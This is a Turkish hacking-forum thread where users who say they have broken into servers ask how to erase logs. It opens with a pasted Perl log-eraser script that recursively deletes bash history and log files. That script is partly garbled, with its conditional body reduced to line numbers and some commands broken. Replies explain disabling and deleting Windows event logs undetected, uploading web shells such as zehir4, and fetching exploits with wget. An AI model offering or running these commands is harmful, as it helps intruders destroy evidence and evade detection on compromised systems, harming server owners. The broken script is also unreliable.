Alıntıdır... Ama Nasıl uygulanacağını bilmiyom :)) yani yolu var Diyelim hata kaza o büyük günahı işlediniz ve büyük bir server'a erişim sağladınız.. Erişimle kalmadınız tabiki, dediniz hazır buradayım şu permleri aşayım.. Çalıştırdınız Exploitinizi ve root dedi.. Artık işiniz kolay -ki kolay kısmı yapılır zaten genelde- siteleri hacklediniz.. Çok güzel Ama tüm erişimleriniz kayıt altına alındı. Log dosyası herşeyin kaydını tuttu. Şimdi sıra bu izleri silmekte.. Scriptimiz perl dilinde yazılmış. Gerekli dizinde çalıştırıp bıraktığınız izleri silmek kaldı size artık.. Not:Kişisel tercihim her zaman root. kit, hem daha zevkli hem gelişmeye açık. Tercih sizin. PERL: 21. #! usr/bin/perl 22. use strict; 23. print "!!!!! MSRLE v0.1!!!!!\n"; 24. print "Morocco. Security. Rulz. Log. Eraser\n"; 25. print "!!!! coded by PRI[ll!!!!\n"; 26. system "echo -e \"\033[01;34m erasing default log files \033[01;37m\"\n"; 27. if 28. 32. else 33. 36. if 37. 41. else 42. 45. if 46. 50. else 51. 54. if 55. 59. else 60. 63. if 64. 68. else 69. 72. if 73. 77. else 78. 81. if 82. 86. else 87. 90. if 91. 95. else 96. 99. if 100. 104. else 105. 108. if 109. 113. else 114. 117. if 118. 122. else 123. 126. if 127. 131. else 132. 135. if 136. 140. else 141. 144. if 145. 149. else 150. 153. system "echo -e \"\\033[01;37m done all default log and bash_history files erased!!\"\n";154. system "echo -e \"\033[01;34m Now Erasing the rest of the machine log files \033[01;37m\"\n"; 155. system 'find / -name. bash_history -exec rm -rf \;'; 156. system "echo -e \"\\033[01;37mall. bash_history files -erased Ok!\"\n";157. system 'find / -name. bash_logout -exec rm -rf \;'; 158. system "echo -e \"\\033[01;37mall. bash_logout files -erased Ok!\"\n";159. system 'find / -name log -exec rm -rf \;'; 160. system "echo -e \"\\033[01;37mall log files -erased Ok!\"\n";161. system 'find / -name. log -exec rm -rf \;'; 162. system "echo -e \"\\033[01;37mall. log files -erased Ok!\"\n";163. system "echo -e \"\033[01;34m! done all log files erased! \033[01;37m\"\n"; Carpe Diem

: arkadaşım çok tşk ederim sildi işe yarıyo ama biraz geç geldi cvp :( birkaç gün nce gelmeliydi neyse hayırlısı olsun bakalım bunuda ğrenmek işime yarayacaktır ilerde birgün ellerine emeğine sağlık soruyu dogur sormazsan cvbı geç alırsın bizde winservera girmişsin zannediyoruz zehir filan veriyoruz.. De Get Yalan Dünya...

Eğer windows ise ve uzakmasaüstü bağlantısı yapabiliyorsan olay grüntülüyicisindeki soldaki menüye sağ tuş tıklayın silin... Eğer uzakmasaüstü bağlantın yok ise windowsun logları, ntfs dosya sisteminde system32\config klasrünün içindeki bütün evt uzantılı dosyalardır, fakat o dosyalar devamlı kullanıldıklarından dolayı ncelikle serviceslerden eventlog servisini kapatman lazım... eğer masaüstünü grmüyorsan bi remote registry programını kullanarak HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Eventlog linkinde start değişkeninin değerini 4 yap o zaman manual olur calıştırılması, sildikten sonra tekrar calıştırki fark edilmesin :) Sanıyorum kendi ataszümü yaptım, kaynak belirterek kullanabilirsiniz. 10.05.2013 tarihli google arama sonucu : Aradığınız - "herşeyin hayırlısı rampanın bayırlısı" - ile ilgili hiçbir arama sonucu mevcut değil. Not : Syleyeni belli olduğu için ataszü değil, zlüsz oluyormuş, dolayısı ile kendi zlüszümü yapmış oldum :)

sanırım ben anladım ne demek istedigini şimdi hemen servera windows oldugu için elmalı şeker zehirr vss tarzı birşey upload et ondan sonra logların nerde tutuldugunu bul sonra sil bu kadar basit ha silmesende bir şey olmaz kafana takma De Get Yalan Dünya...

arkadaşım çok tşk ederim sildi işe yarıyo ama biraz geç geldi cvp :( birkaç gün nce gelmeliydi neyse hayırlısı olsun bakalım bunuda ğrenmek işime yarayacaktır ilerde birgün ellerine emeğine sağlık Carpe Diem

php shellmi attın? atıpda root olmuş isen onun scriptimi ne derler o şeyinden var r57 nin son versiyonunda soyluyodu onun hakkında bişeyler

: sanırım ben anladım ne demek istedigini şimdi hemen servera windows oldugu için elmalı şeker zehirr vss tarzı birşey upload et ondan sonra logların nerde tutuldugunu bul sonra sil bu kadar basit ha silmesende bir şey olmaz kafana takma pardon, evet sen windows servera girmişsin :) verdiğin exploite bakarak linux servera gre dedim. ama AcıyaGülmek doğru sylemiş bir FSO ile halledebilirsin bu zehir, elmelışeker tarzı birşey olabilir.

http://rapidshare.de/files/39912814/zehir4. asp.html al zehir4 servera sok yapamazsan link at biz bakalım De Get Yalan Dünya...

nasıl girdin php shell veya fso ile mi yoksa root olarak mı, serverin türü nedir? windows mu linux mu? zgür iradeydi şeytanım.

arkadaşlar girmiş olduğumuz bir servardan logları nasıl silebiliriz? acil lazım yardımlarınızı bekliyom... Carpe Diem

aynı sorun bendede war ustad Bilgisayar Ynetimi > Olay Grüntüleyicisi > Sistem.. Altındaki bütün logları silmem lazım anlayan warmıdır? Laf Yapacağına ICRAAT Yap!..

benim silmek istediklerim burdakilerdi bu konuda bilgisi olan veya yardım edebilecek olan varmı? Carpe Diem

Şimdi logların nerede olduğunu biliyorsan basit bir komutla ki iznin de olmalı silersin, nasıl?rm -f komutuyla. dosyayı silmene yarar, mesela atıyorum logların bulunduğu dosya log. php olsun salladımrm -f log. php bunu silmene yarar. exploit kullanarak yaparım diyorsan, ki ilk sayfada yazmışsın daha dorğusu yapıştırmışınexploiti çekersin onu da wget ile yaparsın şyle,"wget http://exploitnerdeyse.com/exploit" , sonra da çalıştırırsın exploiti, anlatabildim mi?not:düzenledim yazımı ilk yazdığımda çok karmaşık yazmıştım.